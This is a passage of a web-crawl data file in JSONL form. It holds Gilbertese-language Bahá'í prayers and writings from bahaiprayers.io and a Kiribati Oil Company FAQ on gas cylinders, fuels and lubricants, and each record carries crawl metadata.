kabane.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=120204070&to=gil","date":"2019-09-20T13:31:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574018.53\/warc\/CC-MAIN-20190920113425-20190920135425-00547.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":267,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"We welcome our customers' suggestions and their feedback to help us improve our services. You are therefore encouraged to make use of the suggestion box to drop us your suggestions or comments on where and how to improve our services. Alternatively, you can also use facebook to share your important suggestions with us through our Facebook Group (Kiribati Oil Company Ltd) or you can navigate to Contact page on this site for our online customer service enquiry form for help.\nHAVE A QUESTION? FIND YOUR ANSWERS HERE\nOr contact us today for more information\nMOST COMMON QUESTIONS & ANSWERS.\nBelow you can find a selection of some of the most common questions and answers in relation to our services and about our company. If you cannot find the answer to your question here, please contact us and the answers should be made available to you to meet your expectation and satisfaction.\nFrequent Asked Questions (FAQ) in Kiribati\nNgkana I kan riki bwa ana Agent KOIL ibukin kabonakoan te cooking gas cylinder, tera arou ae n a karaoia?\nKo reitaki ma te KOIL office I Betio n aoan te makuri iaon te Boraraoi (Contract\/agreement) ao baiakara riki ake a tangiraki mai iroum E na taraki am tabo bwa e na ira nanon kaetieti ao te storage shed are bon taben te Agent bwa e na katauraoia e na ira nanon te safety requirement ibukin kawakinan te LPG n am tabo\nAna reke iia ke a kaboakinako iroun antai ana gas Cylinder te KOIL n te aono n te TUC ao BTC?\nKo kona nori araia ara agent n te gas iaan product and services n website aio\nTera ae karekea te tatare nakon te gas nakoia tabeman gas Cooking Agent iaon Tarawa teinanano?\nE reke te taree ni Gas iroun Agent ngkana arona bwa Agent e tuai nikira boon ana Gas nakon te KOIL iaan te Boraraoi are e na kaoka moa boon gas ake irouna ao mai ikanne e a kona naba ni manga deliver nakoina aika a boou.\nTi taneiai n aran te bwaa ae bentin, diesel ao Kerosene, iai riki araia ae ti aki ataia?\nEng, Diesel e ataki naba n arana ae te ADF, te kerosene n arana ae te DPK ao te bentin e a aranaki naba bwa te ULP\nTera bwaan te wanikiba ae kamenana\nTe bwaa are e anganaki te wanikiba e bon kinaki n arana ae te JETA1\nTera arou ngkana I angoa kabonakon te karatin n au titoa?\nKo kona n reitaki ma te MISE ibukin karekean am license iaon aio ao ni uotia nakon te KOIL ngkana ko bobwai\nAntai tabena nikiran au karatin Ngkana I tia ni kabooa n te KOIL?\nKo moanibwai n taainako iroun te KOIL ao e teimatoa n anga te service ae e aki kaboaki ibukin nikiran am turam ni karatin n am store.\nTera arou ngkana I kunea bwa iai te raran nakon au drum ni karatin are e nikiraki?\nKo na waekoa n ribooti ke n reitaki ma te KOIL office ngkana iai te raran nakon am drum bwa e aonga naba ni waekoa ni karaoaki nanona.\nE na aki kakoauaki te raran ngkana e tibwa roko te ribooti inanon bwain te KOIL ao n raka manin te drum inanon bwaaim 24hrs imwiin nikirana iroum n akea am ribooti.\nBaikara riki aikaa kabonakoaki irarikin te bwaa (bentin, Karatin ao diesel) mai iroun KOIL?\nIrarikin te bwaa ibukin bao n mamananga ke te Gas ibukin bwaan am titobu. Aika tabeua tieweti ae ko kona ni karekei iroun KOIL\n- Oeera ibukin am car, Bus, Heavy Machinery, Kaibuke ma PowerHouse\n- Oeera ibukin bwaai ni makuri ake a korakora (hydraulics)\n- Oeera ibukin te gear ke brake, etc\n- Oeera ake a kona renganaki ma te bwaa ibukin te booti ao maiti riki\n- Oeera ke Kiriti ibukin kamarauan bwaai ni makuri\n- Toobu ni kaitiaki ni kanakoan mwiin te oeera ke te Kiriti\n- Toobu ni wati are e onoti ibukin te kaa\n- Ranin batere ao ranin radiator ibukin kamaitoron te kaa\n- Stove te gas ae single ao double burner aika kakakoro aroia.\n- Gas fittings ibukin am stove ao gas cylinder\n- Nikiran mangen am oeera iroun te KOIL\n- Ao Turam ngkana ko kainanoia ibukin am mange ke arokam\nIai bonganan te pipeline are e birinako tabon teuabu man te KOIL nako aon te Jetty?\nE rang bongana te pipeline anne bwa ngaia are e buti iai ana bwaa te KOIL man te Kaibuke ni bwaa ngkana e roko nakonanon tangke ni bwaa ake i Betio. E na uringaki bwa te KOIL ana bwai te Botanaomata ao ai aron naba pipeline akanne. Ngkana a uruaki ao a e na kona nikarekea te taren ni bwaa are e kainanoia te Botanaomata ke te kabuanibwai nakon ara otabwanin.\nE noraki bwa e maiti aomata aika a totoka iaona ao a karenakoi mngka n maenge iaona!\nIai kaetieti a kana kateaki irarikin te pipeline aio ibukin tangiran aia ibuobuoki aomata. E a butiaki te Botanaomata n kaeieti akanne bwa ana ibuobuoki ibukin kawakinaia pipeline ao man aki toka iaoia ke ni karenakoi aia mngka nibiti iaoia.","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/www.koil.com.ki\/support\/","date":"2019-09-19T08:32:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573465.18\/warc\/CC-MAIN-20190919081032-20190919103032-00005.warc.gz","language":"gil","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.000002145767212}","num_words":849,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.289,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Huqúqu'lláh bon te tua ae kakannato. Bon te bwai ae taabangaki iaoia aomata nako karekean te angabwai aei, kioina ngkai boni mwiokon te karaoiroi, te kaubwai, ao baika a raraoi ni kabane. Bon te tituaraoi are a na tiku ma ngaia takanoi ni kabane ni katoai aonaaban Ana aonaaba nako Te Atua, Te Tia Bwaibwai ni Bwaai-nako, Te Tituaraoi.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=170303010&to=gil","date":"2019-09-22T04:49:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514575076.30\/warc\/CC-MAIN-20190922032904-20190922054904-00130.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":60,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.383,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Am bwai te mimitong te Uea ae Atuau! Tai kamangora teuare Ko a tia ni karietaata ni mwaakan Inaomatam n tautaeka ae akea tokina, ao tai kamwaawa ni kararoaa mai Iroum teuare Ko a tia ni karinna n te umwanrianna n Am aki tootoki. Atuau, Ko na kanga ni karenakoa teuare ngaia are Ko a tia ni kanuua n Rikiam n Uea, ao Ko na kangaa, Maamaten nanou, ni katannakoa mai Iroum teuare Ko a bon tia n riiriki bwa ana tabo ni kamauri? Ko na kangaa ni karinanoa teuare ngaia are Ko a tia ni tabekiarake ke ni mwaninga taekan teuare ngaia are ko a tia ni karikia ni konaa n Uringko?\nTe kamimitongaki, moan te kamimitongaki Ngkoe! Ngkoe bon Ngaia are E Uea man te aki tootoki n te karikibwai ae e bwanin ao Oin Waakina, ao Ko a bon tiku n aki tootoki bwa te Uea irouia bwaai ni kabane ake a karikaki ao te Tia baairei aroia. Ko kamimitongaki, Atuau! Ngkana Ko katoka Am ataataiaomata nakoia Am toro antai, ngkanne, ae e na kaota te ataataiaomata nakoiia; ao ngkana Ko rawa ni kamaiuia ake ko tangiriia, antai riki ae e konaa ni kamaiuiia?\nKo kamimitongaki, ao te kamimitongaki ae akea baaireana Ngkoe! Ko bon neboaki i nanon Am motiraoi ao i Bukim ti bane ni koaua, ni kaotioti. Ko bon taatangiraki ni koaua, i nanon Am raoiroi. Akea riki te Atua bwa ti Ngkoe, te Buoka n te Nibwa ni Mate, te Maiu i bon Irouna.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=30228030&to=gil","date":"2019-09-17T15:39:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573080.8\/warc\/CC-MAIN-20190917141045-20190917163045-00101.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":250,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.368,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Uea ae Atuau! Buokiia aika a tangiraki Iroum bwa a na teimatoa n Am Aro, n nakonako ni Kawaim, ma n nene n Am Waaki. Anganiia Am tangira bwa a na tangira tuukan bwain te rabwata, bwa a na ira ootan te Kairiiri ae Tabu. Boni Ngkoe te Korakora, te Tangira, te Maiu i bon Irouna, te Tituaraoi, te Nanoanga ao Moan te Mwaaka ao Moan te Atataiaomata.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=30223080&to=gil","date":"2019-09-20T15:03:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574039.24\/warc\/CC-MAIN-20190920134548-20190920160548-00261.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":69,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Raao a bon tia n ataa aron kakaawakina are E a tia Bahá'u'lláh ni kataua i bukin te tataro ae e kabaebae ao kakaraoan nanon te aki-mamatam, ao iai baike a na karaoaki n irekereke ma tuua, n aron karaoan mwakuri ni kaitiaki, te mwamwananga ao te kabomwi ngkana a aki anaaki tataro, ake a katukaki taekaia bwa a na karaoaki n taabangaki karaoaia. Te kawai aei are e nang karaoaki nanona. Ngaia are kaetietin nako tuua ake a irekereke ma te tataro ae e kabaebae ao te aki-mamatam a bwainaki ngkai n akea manga katukaia.\nTi a tia naba ni baaireia bwa e a bon roko te tai irouia kaain te Bahá'í n aaba nako bwa a nang karini i nanoia taekan te Kitáb-i-Aqdas aikai: \"E a bon tia ni katauaki bwa ni kabane taan onimaki iroun Te Atua, Uean te Motikitaeka, bwa a na kakaraoia, ni katoa bong, kaitiakan baia ao mataia, ao n tekateka ao, n rairaki nakon Te Atua, ni kaokiokia n atonga 'Alláh-u-Abhá' ruabwi ma nimaua te tai. Anne bon Ana kaetieti te Tia Karaoi Karawa ngke E anga, ma korakoran Arona ni uea, E kateia bwa E na toka i aon kaintokanuean Arana nako.\" Ti na bane n rinanoa te taneiai n tamnei ae te kakorakoraaki n tamnei are e a uotaki nakon tamneia aomata n te kawai n taromauri n iango ni kanano ae bebete aei.\n— Te Auti ni Motiraoi n te Aonaaba. 28.12.99","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=101000&to=gil","date":"2019-09-20T15:05:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574039.24\/warc\/CC-MAIN-20190920134548-20190920160548-00265.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":240,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Are e kan tataro, e na teboki baina, ao ngke e tabe n teboki, e atonga aei:\nKamatoai baiu, O Ngkoe Atuau, bwa e aonga n taua Am Boki ma aron te baabanennano bwa a aonga n akea korakoraia kaain te aonaaba i aona. Kaawakinna, ngkanne, man karaoan baike e aki katauaki iai. Boni Ngkoe, ni koaua, Moan te Mwaaka, te Kabanea ni Korakora.\nAo ngke e tabe n teboki matana, ke e atonga aei:\nI a tia n raira matau Nakoim, O Ngkoe au Uea! Karikia n oota man Moamoam. Kamanoa, ngkanne, man rairakina nakon temanna riki ma ti Nakoim.\nKe e teirake, ao ni kaaitara te Qiblih—Boton te Nebonebo, are i Aakora, ao ke e atonga aei:\nE a tia ni kaotia Te Atua bwa akea riki Te Atua ma ti Ngaia. Bon Ana bwai abanuean nako te Kaotioti ao te karikibwai. E a bon tia, ni koaua, ni kaotiota Teuare Ngaia Bongin Rikiraken te Kaotioti, are E taetae i aon Tinai, are Rinanona are E a tia ni karikaki te Oraitan ae Kakannato bwa e na oota, ao e a tia n taetae iai Kain te Rote are e aki kona n riaoaki, ao Rinanona are e a tia n tabekaki te wewete nakoia ake i karawa ao aika i aon te aba: \"Nooria, E a roko Teuare te Kabanea ni bwaibwai. Te aonaaba ao karawa, te mimitong ao te tautaeka bon Ana bwai Te Atua, aia Uea aomata ni kabane, te Tia Bwaina te Kaintokanuea are i eta ao n te aonaaba are i nano!\"\nNgkanne, ke e bobaraaki, ma baina ni kawenei i on bubuanwaena, ao n atonga aei:\nKo bon karietataaki i aon au nebo ao aia nebo naaka i rarikiu, i aon riki au kabwarabwara ao aia kabwarabwara ni kabane ake i karawa ao ni kabane aika i aon te aba!\nNgkanne, e tei ma baina aika e taakin, nanon baina n tararake nakon matana, ke e atonga aei:\nO Ngkoe Te Atua, tai kabwara nanon teuare e a tia ma tabonibaina ni bubuti, n nimta kaon Am nanoanga ao Am raoiroi, O Ngkoe are Ko bon kaota te nanoanga ao bon Ngkoe te Kabanea n Nanoanga!\nNgkanne, ke e tekateka, ao n atonga aei:\nI kaotia ni kakoaua Am katiteuana ao ae ti temanna Ngkoe, ao bwa boni Ngkoe Te Atua, ao bon akea riki Te Atua temanna i Rarikim. Ni koaua, ko a bon tia ni kaota Am Waaki, ni kakoroa nanon Am Boraraoi, ao ni kaukaa nako mataroan Am raoiroi nakoia ni kabane ake a maeka i karawa ao i aon te aba. Te kakabwaia ao te rau, te kamauri ao te mimitong, bwa e na mena i aoia ake Ko tangiriia, ake a tia n aki rootaki man rairakiia nako Mairoum man bibitaki ao angaraoi n te aonaaba, ao n tia n anga bwaai nako, n te kaantaninga ni karekean are iai iroum. Boni Ngkoe, ni koaua, te Kakabwarabure, te Kabanea n Ataataiaomata.\nNgkana iai temanna are e rineia n atonga te kibu aei nakon are te kibu are e abwabwaki n taekana aei: \"E a tia ni kaotia Te Atua bwa bon akea riki Te Atua ma ti Ngaia, te Buoka n te Kanganga, ao te Maiu i bon Irouna,\" e na bon tau. Ao n te aro anne, e na bon tau naba ike e mena iai, ngke e tekateka, n rineia n atonga te kibu aei: \"I kaotia ma te koaua n Am katiteuana ao n ti temanna Ngkoe, bwa boni Ngkoe Te Atua, ao bon akea riki Te Atua i Rarikim.\"","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=20101020&to=gil","date":"2019-09-20T15:05:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574039.24\/warc\/CC-MAIN-20190920134548-20190920160548-00269.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":596,"character_repetition_ratio":0.063,"word_repetition_ratio":0.007,"special_characters_ratio":0.237,"stopwords_ratio":0.428,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Au Uea! Ko bon ataia bwa aomata a bane n otabwaniniaki n taian kammaraki ao n taian tekebuaka ao ni katomimiaki ma kangaanga ao kakumekume. Ni katoa nako te kataitai ao e bon eweka te aomata, ao ni katoa nako te kangaanga aika a kakamaaku aikai n ai aron ana ewaewa te naeta. Bon akea te tabo ni kamanomano ao ni kaawakin ma ti i aan bain Am kakaawakin, Am kamanomano, Am kairiiri ao Am tararua.\nBon Ngkoe are Ko nanoanga! Ae Atuau! Am kamanomano bwa nanoangaeakiu! Atuau! Karika Am kakaawakin bwa au bwai ni katantan, Am kamanomano bwa otangau, karinanoau i matan mataroan Am katiteuana, ao Am tararua ma Am kakaawakin bwa au nono ao nneu. Kaawakinai man au iango nako ao nanou ao kairiirai man aeka n aoraki nako, kataitai, kangaanga ma aeka ni kataitai aika a korakora.\nNi koaua, bon Ngkoe te Tia Kakaawakin, te Tia kairiiri, te Tia Kateimatoa, te Tia Karauaki, ao ni koaua boni Ngkoe nanoangaia nanoanga.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=100207100&to=gil","date":"2019-09-15T19:06:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572235.63\/warc\/CC-MAIN-20190915175150-20190915201150-00460.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":163,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Au Uea! Karaoa Tamaroam bwa kanau, ao ike iai Ngkoe iai bwa nimau, ao Kukureim bwa au kaantaninga, ao Neboam bwa au mwakuri, ao Ururingam bwa raraou, ao mwaakan Ebiebim n tautaeka bwa te tia buokai n tain kainnanou, ao Mweengam bwa mweengau, ao au tabo ni maeka bwa te tekateka are Ko a tia ni katabua ni kamwaawaa man tiia ake a katokaaki i aoia naake a kainaki i tinaniku kaanga ai aron te rabunanimata Mairoum.\nNgkoe, ni koaua, te Kabanea ni Korakora, te Kabanea ni Mimitong, Moan te Mwaaka.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=30225010&to=gil","date":"2019-09-20T15:08:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574039.24\/warc\/CC-MAIN-20190920134548-20190920160548-00512.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":46,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":91,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.407,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Katakei, ngkoe Au toro, Ana kibu nako Te Atua ake a tia ni karekeaki iroum, n aron katakeaia irouia naake a tia ni katikaki ni kaaniaki Nakoina, bwa ni karewerewen am anene e na kona ni bon kaura oin tamneim, ao ni katiki nanoia aomata ni kabane. Are e atongnga, i bon irouna n ana ru, kiibu ake kaotaki iroun Te Atua, Ana anera te Uea a na kauamaae nako ao a na tibwatibwai boiararan taeka ake a atongaki mai wiina, ao e na karikia naake a etieti ni bukibuki nanoia. E ngae ngke n te moa n tai e aki namakina mwiina, ma tamaroan te aroaro are e kaawakinaki i bukina e na bon tangiria n te tai ae waekoa ke n te tai rimwi ni karaoaki nanona n tamneina. Bwa bwaai aika a raba n Ana Kaotioti Te Atua a tia ni koreaki n tamaroan Nanon Teuare Ngaia Boton te korakora ao te rabakau.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=30200010&to=gil","date":"2019-09-15T18:59:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572235.63\/warc\/CC-MAIN-20190915175150-20190915201150-00477.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":34,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":156,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Au Uea, ao Atuau ao au Tabo ni Motirawa man korakaiu! Otangau ao te Tia Kakaawakin man korakaiu! Au nono ao au Tabo ni Kakaawakin n tain te kangaanga ao n tain te maroaa bon iriau, n au tai n rawawata bon karauan nanou ao ngkana ti ngai bon raou ae e tangiraki. Te Tia Kamwaawai kananokaawaki nako ao te Tia Kabwarai au bure!\nI bon rairaki raoi Nakoim, ao ni bubutii n tataro Nakoim ma nanou ni kabanea, ma au iango ma neweu, bwa Ko na kamanoai man bwaai nako ake aki bootau ma Nanom, n te tai aei, ae bon Tain Waakin Am katiteuana n Tamnei, ao ni kaitiakai man aeka ni kabarekareka ake a na tuukai man Ukoukoram, n itiaki ao n aki bareka, are nunikain Am raoiroi.\nAu Uea, nanoangaiia aika a kainnano, ao kamarurungiia aoraki, ao tiringa uran te taka.\nKakukureia te nano are e mena iai ain Am tangira are e bae n ura iai ain Am tangira n tamnei.\nKabaea Umwan Am katiteuana n Tamnei ma bwain kabaebaen te katabuaki ao kamenaa i aon atuu baunuean Nanom.\nKaootaa moau n ootan Matan Am Tituaraoi ao kairiirai n ukoukoran Am mataroa ae tabu.\nKarika nanou bwa e na onrake n tangiran Am karikibwai nako ao katauai bwa I aonga n riki bwa kanikinaean Am nanoanga, ao kanikinaean Am bwai-n-aakoi, te tia karikirakeiia aika a tabu i buakoia aika ko tangiriia, bwa e na bane nanou Nakoim n atoatong Arom nako, ao ni mwaninga arou ma n ti ururing ake bon Am bwai.\nAtuau, Atuau, tai tuuka nakoiu kamaeun angin Am kabwarabure ao Am aakoi ao tai kamwaawaai man koburaken ranin Am ibuobuoki ao Nanom.\nI aan nuun bain Am kakaawakin kamenaai bwa Nna motirawa, ao karekea nakoiu Am taratara ae e kakaawakin.\nKariaia neweu bwa e na takaruaa Aram i buakoia Am aomata, bwa e aonga n irakeaki i nanon baronga aika a korakora ao koburaken karaangan Neboam.\nBon Ngkoe, ni koaua, te Tamaroa, te Mimitong, te Mwaaka, te Konai Bwaai nako!","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=100211060&to=gil","date":"2019-09-18T00:07:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573124.40\/warc\/CC-MAIN-20190917223332-20190918005332-00092.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":36,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":338,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.349,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE NATIU!\nAia botaki naake akea te raoiroi irouia a karikirakea te nanokaawaki, ma te itamwaomwao ma naake a etieti a kaitiaka te mka man te nano. Are e a tia ni ukoukora te itoman ma Te Atua, ke e itamwaomwao ma naake a tangiraki Irouna; ao are e tangiria n ongo n Ana taeka Te Atua, ke e anga taningana nakon aia taeka naake E rineiia.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=20403570&to=gil","date":"2019-09-19T01:05:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573385.29\/warc\/CC-MAIN-20190918234431-20190919020431-00386.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":68,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Atuau au Ai ao au Oota! Boong ake ko a tia n ingoanii bwa te Ayyám-i-Ha inanon am boki a bon tia ni moanaki O Ngkoe teuare Ueaia Aara ni Kabane, ao te aki mamatam are am Been ae moan baan te rietata e a tia ni kawenei kaetieti nakoia ni kabane ake inanon abanuean Am karikibwai bwa a na karaoa nanona e a uakaan. I bubuti nakoim, O au Uea, bwa man boong aikai ao mairouia ni kabane inanon te tai ae a bane n tinea kaon am kaetieti nako, ao n taua bain am kanoa n reirei, ni kataua nako aoia n tatabemaniia tamnei bwa a na anganaki te tabo inanon Oon am Marae, ao te kaintekateka n te Kaotioti ibukin raneanean Ootan Moam.\nAikai O au Uea, bon am toro ake akea te aananga ni babakaniwai are tauia rikaaki man are ko a bon tia ni karuoi inanon am boki. A bon tia ni boobaraaki Imatan am Waaki, ao ni karekea am boki ma te angimatoa are bungiaki mai iroum, ao ni karaoa nanon are ko a tia ni koreia nakoia ao rineia bwa a na iria n aron are ea tia ni karuoaki Mairoum.\nKo bon nooria, O au Uea, aroia ni Kinaa ao n taakinakoi ni kabane ake ko a tia Kaoti inanon am Koroboki. Anganiia bwa a na mooi, O au Uea, man bain am akoi te ran Mairoum ae akea tokina. Koreia ngkanne ibukin te kabomwi are katauaki ibukina are e a tia ni kainakoa inanon Marawan ae iai Ngkoe iai, ao ni karekea te wain ae te kabanea ni kangkang n te kaitibo ma ngkoe.\nI bubuti nakoim, O Ngkoe Ueaia Ueea ao te tia nanoangaiia aika kataorikaakaki ni kataua nakoia raoiroin te aonnaba ae na roko. Koroia ibukia ao moarariki te bwai ae akea irouia am karikibwai ae e a tia ni kunea, ao warekia ibuakoia naake a tia ni katobibiiko ao are e mwamwainging irarikin am Kaintoka-n-uea ni katoai aonnaba n am aonnaba nako. Ngkoe ni koaua, Te Kabanea ni Mwaaka, te kabanea n atatai, te kabanea n ataibwai.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/prayer?id=305000&to=gil","date":"2019-09-22T04:45:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514575076.30\/warc\/CC-MAIN-20190922032904-20190922054904-00239.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":349,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.364,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O AOMTAN TE AONAABA!\nAtaia, ni koaua bwa te kabuanibwai ae korakora ae e aki kaantaningaaki e bon iririko, ao karawawatan te kabomwi e tataningaiko. Tai iangoia bwa te mwakuri are kam a tia ni karaoia e a tia ni kamaunaaki mai Matau. N Tamaroau! Ni kabane ami mwakuri a bon tia ni koreaki n Au kainikoroboki i aon buatuan te kuritiroraite.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60403640&to=gil","date":"2019-10-18T20:06:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986684425.36\/warc\/CC-MAIN-20191018181458-20191018204958-00306.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":62,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"(N te tai are kam rin iai n te ruu ni bowii, anaa te tataro aio ma te manawa ae e bukibuki n tangiran Te Atua ao te newe ae e itiaki ni kaakeai bwaai ni kabane i rarikin Ururingana, bwa e bia te Kabanea ni Mwaaka n aakoi ni buokingkami ni karekea te tokanikai ae e riao.)\nTe Atua ae Atuau! Boni ngaiira Am toro ake ti a tia ni kamwawaira man bwaai ni kabane i Rarikim i nanon te Bong ae e mimitong aei. Ti a tia n ikotaki i nanon te Botaki n Tamnei aio, ni katiteuanaaki n ara taratara ma ara iango, ao ni kaboraoaki aan ara kaantaninga i bukin kamoamoaan Am Taeka i buakoia botannaomata. Te Uea, ae Atuara! Karaoiira bwa kanikinaaean Am kairiiri ni karawa, bwa manuan Am Aro ae e karietataaki i buakoia aomata, bwa tabonibai i bukin Am mwioko ae korakora. Ngkoe ara Uea ae Moan te Rietaata, bwa kaotiotan Am katiteuana n Atua i nanon Am Abanuea ni Mimitong, ao itoi aika a raneanea n ootanako n aono ni kabane. Te Uea! Buokiira n riki bwa taari aika a ing man naouean Am raoiroi ae e otabwanin, raanga n ran aika a waanako man Am Tabuki aika a moanibaa ni mimitong, uaa aika a raraoi i aon Kain Am Waaki ni karawa, kaai aika a mwaeiei n angin Am Tituaraoi i nanon Am Onaroka ni Kureebe mai karawa.\nTe Atua! Karaoi tamneira bwa a na tinea Kibun Am katiteuana n Atua, kakimwareireian nanora n raanganakon Am Raoiroi, bwa ti aonga n ti teuana n aron naoni marawa ae teuana ao n riki ni botaki n aron buraenimatan Am oota ae e raneanea; bwa a aonga ara iango, ara taratara, ara namakin n riki iai bwa koauan aroia ae teuana, ni kaotiota angin te bonnano ni kabutaa te aonaaba. Boni Ngkoe te Raoiroi, te Tituaraoi, te Tia Aanga, Moan te Mwaaka, te 